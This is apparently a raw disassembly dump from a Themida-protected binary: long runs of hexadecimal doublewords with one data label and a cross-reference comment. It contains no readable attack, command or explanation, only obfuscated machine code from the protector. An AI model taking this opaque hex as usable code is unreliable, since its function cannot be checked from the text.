		dd 6637C1C3h, 0FF9156BEh, 1B0C4595h, 0E1858906h, 50061B29h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 9C2AC351h, 7BA4C058h, 0F38B6679h
		dd 6860Fh, 0B52B0000h, 61B1135h, 493E9h, 0E800B000h, 0Dh
		dd 6FC2E8FFh, 54CF723Bh, 47C4576Bh, 0ADB50BDDh,	5E061B01h
		dd 858970E6h, 61B1271h,	0B70F71E4h, 0D8B60FF1h,	0DE9h
		dd 55B60B00h, 351FF5F9h, 9915E92Bh, 858960C8h, 61B0005h
		dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 1FB9CBBh,	1B06A1BDh, 6AC38B06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 62F1C357h, 8CFA4283h, 4274E332h, 82C0DE81h, 0E8C159DBh
		dd 65B58B04h, 66061B2Bh, 6AE2F7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 7873C2C3h, 0A0E8EDADh
		dd 0D82B9F98h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	69C35646h, 0F57A2AB8h, 6650E652h, 8971BEBEh, 810F241Ch
		dd 0
		dd 99DB5FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 18725AC3h, 5810FAFh, 0BE000000h
		dd 703A6C89h, 220595FFh, 0CE81061Bh, 2D36E299h,	6A00B0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 9A399AC3h, 8B392DF6h, 70E68636h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0D8C35242h,	0A235A43Ah, 0F1C3207h
		dd 687h, 0ADBD8900h, 0E4061B2Fh, 50006A71h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0C76BE4B7h
		dd 34C53638h, 9655BEE5h, 613C1F63h, 2D2830Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0B48736C3h, 92EFBE66h, 0E9D8B60Fh, 0Dh, 3DCD346Dh, 0D050B724h
		dd 879AE082h, 6BA28h, 0B58B0000h, 61B2291h, 9E9h, 6196E300h
		dd 0C157DE0Dh, 0C38BDC99h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0E8C35646h, 0C0451C26h, 0C185DE0Bh, 958904E8h
		dd 61B1F39h, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0A773C350h,	0B03349BFh
		dd 66608BD3h, 8BB9DCBEh, 0D82B61C8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 67C35646h, 584C6C61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D6C35646h, 0FD82B95h
		dd 1DF88h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0D5B52323h, 0B9061B19h, 7, 7E8h
		dd 9C92EA00h, 0BB337A20h, 17FDB58Bh, 835E061Bh,	6A00C1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 4E74FFC3h, 0DB9A7C20h, 0B58B37F8h, 61B0411h,	860FD93Bh
		dd 170h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	3BC35040h, 0F8F0FC8h, 0E9000000h, 0Ah, 4B2F21E3h
		dd 8137E2B4h, 8C664851h, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 95899693h, 61B03F9h, 0F04C1F6h
		dd 0DE84h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 3ED375DCh, 0FFB52643h, 1B0C4595h
		dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0A53405C3h, 57DC5E8Eh, 9D89EB3Fh,	61B229Dh
		dd 317DB58Bh, 0C32B061Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 32C35141h, 8343Dh, 5C860F00h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0EC1AC350h, 0F2FA90E9h, 0A19589A7h, 0BE061B07h
		dd 11442D4Ch, 5BE9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 6037BBA3h, 9F78A576h
		dd 8E0F6Fh, 8B000000h, 57006AC0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0D4929218h, 0B52BE19Eh
		dd 61B0621h, 2870Fh, 0F18B0000h, 0D88BC38Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 34C35343h, 0BD0A79A3h
		dd 0F3C799Dh, 68Bh, 800F00h, 0C7000000h, 1B194185h, 90319306h
		dd 57006A77h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 38137D73h, 1C566DF2h, 2239B50Bh,	0C08B061Bh
		dd 2419B589h, 8C0F061Bh, 6, 70DB58Bh, 0BD81061Bh, 61B099Dh
		dd 7D0h, 53850Fh, 0DE80000h, 8E000000h,	16CFE49Bh, 0F7DDC067h
		dd 4FC513F8h, 6561EE81h, 0FF5E1D41h, 1B099D85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0BF6A264Eh, 81F27852h, 7DE212F6h, 6880F33h, 8B000000h
		dd 1B0C8DB5h, 9DB5FF06h, 6A061B09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 52DDC356h
		dd 8C0FF85Eh, 1, 78B0FF8h, 0F000000h, 186h, 9589F500h
		dd 61B3141h, 220595FFh,	6A061Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0DAE269C3h, 0E9B68718h
		dd 13C98D89h, 8B90061Bh, 998589D8h, 83061B0Ch, 1B1335BDh
		dd 840F0006h, 0Eh, 88E9F38Bh, 52000002h, 66E0DBEh, 0DF8C5E6Bh
		dd 25FDB58Bh, 0F766061Bh, 0F0004C7h, 26E85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0E2EEF49Eh, 97099239h, 2B198D89h, 0FF2B061Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 7FC35141h, 0CEDCA7FAh
		dd 4E6DBE0Fh, 9D8D4A80h, 61EE6B8h, 0BA1B58Bh, 5093061Bh
		dd 61606052h, 0F310F61h, 87h, 50585A00h, 68B0F60h, 50000000h
		dd 5A310F52h, 41BF6658h, 0E8936139h, 0Fh, 69CB23B4h, 3714A43Bh
		dd 51E9DF73h, 0BEF58060h, 7C309249h, 35FF645Eh,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7AC35747h
		dd 9B1C5CA7h, 258964h, 0F000000h, 38Eh,	5EFC5200h, 8509C48Bh
		dd 61B1F51h, 0EB01CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 1DC35242h, 6A6587h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0B96B56C3h
		dd 8166769Ah, 649230DEh, 58Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8317DAC3h
		dd 6A04C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0FC58A8C3h, 656D9BDDh, 6830F44h, 89000000h
		dd 1B1955B5h, 0FC00B06h, 0EE84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 1CE9D09Dh
		dd 8BBC3496h, 0D3BD8DF7h, 0E9061B4Ch, 11h, 5116A136h, 963EDCF7h
		dd 0B190A6D6h, 694A05C6h, 5B804h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0A6B43FC3h
		dd 2ED58D89h, 0E7FF061Bh, 8E9h,	6DA91A00h, 0A6ECA9BBh
		dd 5C8B57DEh, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h
		dd 0B88383h, 5F020000h,	6AC3C033h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0CABBC353h
		dd 0A38E909Dh, 890583DBh, 1B1B8D9Dh, 0A59D8906h, 6A061B2Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0CE4C352h, 75B589AAh, 2B061B00h, 0F555E9CAh
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 45D931C3h, 3E87D03Bh, 10E960h, 6E8F0000h
		dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 958B2FABh, 61B2919h
		dd 0DE37BE61h, 0C18B40E6h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 80C35040h, 0EBC4CB90h, 299F2F35h, 1B16C5B5h
		dd 1DB58B06h, 0E8061B01h, 0Fh, 0DAE7D9B3h, 0F581F3EBh
		dd 0BC7A3BB7h, 0FD62A9Ch, 0EB5EFFB7h, 4, 5BD8900h, 6A061B18h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0BB49C352h, 0C7D6A9F5h, 0AE91F7Dh, 14000000h
		dd 30B0BA86h, 0BE875064h, 0ED858D7Eh, 56061B32h, 843C4DBEh
		dd 0BF905E23h, 65AEC09Eh, 90F18B50h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 3CC35646h, 0E9006A32h, 0Ch
		dd 76FEB642h, 877A4C9Bh, 0E498FF48h, 0BD89006Ah, 61B03B5h
		dd 0E95B858Dh, 6A061Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 925368C3h, 0D192518Bh, 5C083E5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BEC35242h
		dd 562E4639h, 0AE96C1Fh, 0E5000000h, 0FFFED19Dh, 0CD9A26BEh
		dd 0FA8B5053h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 31C3C357h, 0E9775B26h
		dd 8B02D1F9h, 1B1091B5h, 0A1958906h, 6A061B16h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 41683D29h, 1259BD09h, 6A061Bh, 6DD943BFh, 195FF47h
		dd 6A061B1Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0C28AC353h, 66605849h,	0DE8AF38Bh
		dd 0B79D8D61h, 66061E92h, 7A2DEF81h, 0B58BD3FFh, 61B3259h
		dd 2B0D85FFh, 0BD33061Bh, 61B1A75h, 8C1E9h, 0E800h, 815D0000h
		dd 1EE965EDh, 0DE806h, 44630000h, 1DDC6C11h, 0AE87C071h
		dd 385B434h, 1B0E65B5h,	0BD815E06h, 61B099Dh, 7D0h, 150860Fh
		dd 6E80000h, 1D000000h,	8BA98004h, 55BD2B46h, 5F061B02h
		dd 0ED99D8Bh, 0B589061Bh, 61B2C2Dh, 100E381h, 8B660000h
		dd 0FDB0BFAh, 0B685h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 1605B8Dh, 1B17F595h, 0FAB70F06h
		dd 11E861h, 2B980000h, 64E49242h, 0F3BD38D4h, 0C7956493h
		dd 5FEBDC32h, 0E7C4BD83h, 0F00061Eh, 3184h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 7FFE51BFh, 0A2C0E6E1h, 0E9F55DA4h, 72h, 1A81B589h, 85C7061Bh
		dd 61EE7C4h, 1,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0DEC35545h, 0F1FA59CEh,	83CF7711h, 39E9h, 0D9B53100h
		dd 0C7061B29h, 1EE7C485h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 4DD2758h, 5F8B90C0h
		dd 0BE66D3E3h, 9D8D41DAh, 61B0ED9h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D8C35242h,	24554303h, 0C61BD8Bh
		dd 2381061Bh, 0FFFFFEFFh, 104D8D09h, 8C66061Bh,	6840FDBh
		dd 8B000000h, 1B1751B5h, 4C3F606h, 45840Fh, 0BD0B0000h
		dd 61B0A75h, 0C4595FFh,	0BD8B061Bh, 61B0AC9h, 21598501h
		dd 8950061Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 80E7EFC3h, 6E1AD672h, 25BD037Ah
		dd 0E9061B2Fh, 4D2h, 0F1BD8B51h, 5F061B18h, 0BE6600B0h
		dd 70E6F942h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0AC35747h, 14CC0BBEh, 71E40E3Fh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ch, 5AC35545h, 69892A11h
		dd 6E68B499h, 2FFABE66h, 1765BD8Bh, 0B60F061Bh,	50006AD8h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 36B090FFh, 0E9B237CDh, 9, 0CD591BC7h, 0ABB1AF10h, 6BA1Bh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8BFCF2C3h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 7A51C3E0h, 23F5A6CAh
		dd 1B25ADB5h, 4E8C106h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 84C35343h, 2276276Bh,	1929B58Bh, 0F766061Bh
		dd 8D8B60E2h, 61B21C1h,	61C68B66h, 6AD82Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2ED1EDC3h
		dd 0B866D76Fh, 10E952h,	43200000h, 92795B20h, 0FEC60849h
		dd 3611CE06h, 505FD07Ch, 23241C89h, 1B03EDBDh, 0B9B58906h
		dd 0FF061B29h, 1B099DB5h, 6E906h, 0F95F0000h, 0D7D06BBFh
		dd 0DE816660h, 0B9663718h, 0FF61593Ah, 1B220595h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0CCE004FDh, 0C5B58BDBh, 0B0061B2Fh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0B58B6A1Ch, 61B0391h, 25D5BD8Bh, 70E6061Bh, 13F78166h
		dd 6A71E445h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 42D8C352h, 8B6660B1h, 0F613CF3h
		dd 2C983h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0A6A1E670h, 2EFE1E39h, 9E9F03Eh
		dd 9D000000h, 576C929Ah, 0B62DB54Fh, 1D95BD31h,	0B60F061Bh
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 832FA93Ch, 8B8F1139h, 6BAF8h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 7A51C3C3h, 6D5CA6CAh, 8BF98B66h, 0F28B66C3h,	0CF816660h
		dd 0FE8EBA7h, 0EB000000h, 4B22E6A3h, 19074FD9h,	309B7AB8h
		dd 59F83039h, 4E8C161h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 2C35545h, 0BF56E80Ah,	57686254h, 0F88B665Fh
		dd 6AE2F766h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 33E5C350h, 0D6B5BE2Ch,	89588B3Bh
		dd 0B58BD82Bh, 61B08D5h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 1E43B6D1h, 0D82B5840h
		dd 198880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 81BDA6C3h, 23F73E9Fh, 81A7B85Ch
		dd 72F5F5EEh, 7B912h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0FADAF4C3h, 7E6DAAF4h
		dd 0BD8BA3ADh, 61B09D5h, 0E800C183h, 11h, 6C1BCCA0h, 0CA87DC2Eh
		dd 69331021h, 1F3BBA93h, 0D9BD89FBh, 5F061B02h,	71C78166h
		dd 0FD93B71h, 11186h, 10E900h, 0B3F90000h, 9C9D1E36h, 82F52A35h
		dd 7DDCCC53h, 8C664B96h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 9FDA0321h, 0CB8AD781h
		dd 0C1F6500Fh, 0A7840F04h, 60000000h, 3019BD0Bh, 0FF61061Bh
		dd 1B0C4595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h
dword_56C468	dd 0C3534300h, 89DC5C67h, 1B13058Dh, 0FDBD8906h, 5B061B25h
					; DATA XREF: Themida_:005474FBo
		dd 63DBD8Bh, 0C32B061Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 56C35646h, 0BF666C9Bh, 0F28B5CB6h, 8343Dh
		dd 37860F00h, 0BF000000h, 33BDC00Ah, 51E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 81C29228h, 8D89EC36h, 61B0B85h, 985BD8Bh, 0C08B061Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8EC35242h
		dd 0F69C487Eh, 0C38BFC4Fh, 160D88Bh, 1B11C585h,	85C76106h
		dd 61B0641h, 56902735h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0B2C35646h, 0F404BEBh, 0C08B8CECh, 0BD81FE8Bh
		dd 61B099Dh, 7D0h, 3A850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0A406C4C3h
		dd 8C0F4131h, 6, 38E3D781h, 85FF6782h, 61B099Dh, 6DE8166h
		dd 0F6B70FF5h, 99DB5FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 468A1BC3h, 0BD33FE39h
		dd 61B071Dh, 220595FFh,	6A90061Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5C2BC353h
		dd 118589E0h, 23061B0Fh, 1B22B5BDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 3EEBD71Ah
		dd 2B605E50h, 1B14419Dh, 6E906h, 0FB50000h, 8E5BEF0Bh
		dd 6A98D31h, 8961061Bh,	1B015D9Dh, 6830F06h, 8B000000h
		dd 1B0F31BDh, 68EDBE06h, 8B0F21E1h, 26h, 1A8D0Fh, 14E80000h
		dd 5E000000h, 0BBFF2193h, 6FD2BE13h, 673E8F0Bh,	7800D638h
		dd 5EE6EEB0h, 0EA9BD89h, 0E781061Bh, 5DD34A9Ch,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1CC35646h, 0B52BFC43h
		dd 61B12A5h, 22840Fh, 81600000h, 19DEB4D2h, 8B5A5330h
		dd 11E961DFh, 12000000h, 43CC081Fh, 0FC9C2E2Ch,	79765CA1h
		dd 0BC293AE7h, 453C681h, 0E68129E8h, 34231911h,	0FFF784E9h
		dd 3820FFFh, 0F000000h,	8E9F7BFh, 0EF000000h, 0ED1DA093h
		dd 0F7D2298h, 681h, 0A58D8900h,	0E8061B23h, 12h, 0ED7C7A0h
		dd 13D7F2CAh, 5A92105Ah, 0AD2FF379h, 0C781B88Ah, 318A636Dh
		dd 6A28E4BFh, 0C18B5E73h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0BDC35343h, 8B7F33FEh, 1B18F5BDh, 4EB06h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 7D3BC350h, 0F881ACEBh,	0E9A8946Dh
		dd 0Fh,	56A242Ah, 0CB67D726h, 37B2C23Dh, 6A5DD0D1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 65D3C351h, 0B04454AAh, 0F88B66DAh, 32ED858Dh, 9589061Bh
		dd 61B2ED5h, 0F38B6690h, 90F38B50h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0A5C35343h,	0D05BC954h, 0EE86A67h
		dd 17000000h, 0E8F2F51Ah, 5EC5C0BFh, 28DFAC49h,	0F88B6678h
		dd 0BE95Eh, 0FB3B0000h,	0DF6BA74h, 244BE2Dh, 0BE9FEh, 9D1E0000h
		dd 0F52A359Ch, 0DCCC5382h, 6A006A7Dh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7071C355h
		dd 3EE1E746h, 6A02C1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0B2C35646h, 0DE96B6Fh, 2E000000h, 46780610h
		dd 0C9A41EBFh, 5D0D268Bh, 0F4A2858Dh, 0B58B061Eh, 61B3189h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 84F5C350h, 0AFEC00CAh,	9E91Dh
		dd 0B5F00000h, 2D3F8968h, 0E880E0E8h, 14h, 9EE84B53h, 331B112Dh
		dd 81643F0Ah, 0BC42A540h, 0CA7F4104h, 5EF98B66h, 24048950h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1CC35646h
		dd 6AE0F3h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0BFC35141h, 6A7D7271h, 15B58900h, 0FF061B2Dh, 1B1A0195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0B9108712h, 55958981h, 8D061B18h, 1E92B79Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 5C26A84Bh, 0B58BC1EDh, 61B1EB5h,	0D781D3FFh
		dd 6C3E5B3h, 2B0D85FFh,	6A061Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 63C5AFC3h, 71D07543h
		dd 0E9F532BDh, 8E1h, 0E8h, 0ED815D00h, 61EF4ACh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0AC35242h, 3AA6509Dh
		dd 9DBD81E2h, 0D0061B09h, 0F000007h, 12A86h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0B58BFC57h, 61B10B1h, 0B800Fh, 6E90000h, 0DD000000h
		dd 1CB7B6Eh, 0E19D8B53h, 2B061B0Bh, 1B12A9BDh, 0E38106h
		dd 2B000001h, 1B0B65BDh, 0FDB0B06h, 9D85h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 708E9F51h, 34743D1Dh, 4ABD838Ah, 61EF2h, 51840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 898E98C3h, 1B2EA98Dh, 71E906h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0C0930FC3h
		dd 8B2F6E49h, 1B3245B5h, 0C7F98B06h, 1EF24A85h,	106h, 0DB58B00h
		dd 0E9061B30h, 33h, 19A5B58Bh, 85C7061Bh, 61EF24Ah, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DEC35141h
		dd 4CE81BBh, 8D05A237h,	1B0BE19Dh, 0FF238106h, 66FFFFFEh
		dd 8960DB8Ch, 1B2EDDBDh, 7D8D8B06h, 61061B2Bh, 0F04C3F6h
		dd 7C84h, 5BD2B00h, 0FF061B2Eh,	1B0C4595h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0FD1ACF38h, 0EB33186h, 84BF66CEh, 7E816h, 54010000h
		dd 3EE50CF5h, 0F98B667Dh, 0DE9905Fh, 4E000000h,	257249CCh
		dd 4B24910Ah, 5B52C88Bh, 11E950h, 97A40000h, 64E0AC5Ch
		dd 0AD1E8600h, 0F7FB0CC3h, 907D4656h, 8E9h, 5B174000h
		dd 4ED891D6h, 4D1E93Ch,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 1C0469C3h, 0B021A3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E3C35646h
		dd 9BFE55FDh, 93B41A74h, 0F0B70F57h, 13E970E6h,	0A8000000h
		dd 5EC837B3h, 94DB3696h, 6393804Eh, 0F057B7B1h,	71E43A7Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 2BC35141h
		dd 7E99Bh, 6DCC0000h, 0C78BB880h, 0D8B60F98h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C5C35242h, 91715C6Ah
		dd 0F5395FA1h, 33E1BF66h, 2455B589h, 6BA061Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0B563C352h, 1F6381D9h, 0B70FFB53h, 90C681F6h
		dd 964C0FEh, 1B18C5B5h,	0C1C38B06h, 6A04E8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A6C3FFC3h
		dd 0F920F1FBh, 0F98B660Ah, 66FB8B66h, 6AE2F7h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 3B13E6C3h, 946CCF81h, 0D82B28BAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0F9C35747h,	39BD31DDh, 66061B29h
		dd 5093FA8Bh, 0F310F52h, 28Ch, 5AF08B00h, 8B535058h, 6A935EF2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0F5C8C357h, 0B84DA818h, 8B4313CEh, 9DB5FFFAh
		dd 6A061B09h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0C7B8C357h, 0B99D897Fh, 0FF061B2Ah
		dd 1B220595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0A621C810h, 0B095CFB9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 4FE21CF5h, 74F1E716h, 598D89E8h, 0E6061B32h,	50006A70h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E4603195h, 55006A71h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 705BA9h, 609F7B12h, 1B55B58Bh
		dd 8B66061Bh, 613C61FEh, 24D830Fh, 8E0F0000h, 0Eh, 398D0360h
		dd 8B061B07h, 1B28D5BDh, 0B60F6106h, 6820FD8h, 89000000h
		dd 1B18C5B5h, 6BA06h, 0BD090000h, 61B03D5h, 6AC38Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 5F101DC3h, 0E9A4B1DEh, 6, 6F5AE042h,	0E8C1E143h, 7DBE6604h
		dd 0E2F76618h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0C3C35242h, 8EA6DC7Fh, 0D82BA119h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B9C35343h, 0DE9h
		dd 8263CE00h, 255AF681h, 4B190822h, 89584FEEh, 1B1BC195h
		dd 0FD82B06h, 18688h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0F176641Eh, 6E95A55h
		dd 20000000h, 0EF1DDA29h, 7B97Dh, 0BF660000h, 0C183A351h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 165F5851h, 0FBC05537h, 0BF666D1Bh, 0FE98D9Dh
		dd 0AC000000h, 73F31D56h, 71F6363Bh, 2531C0EBh,	0D93B0377h
		dd 109860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
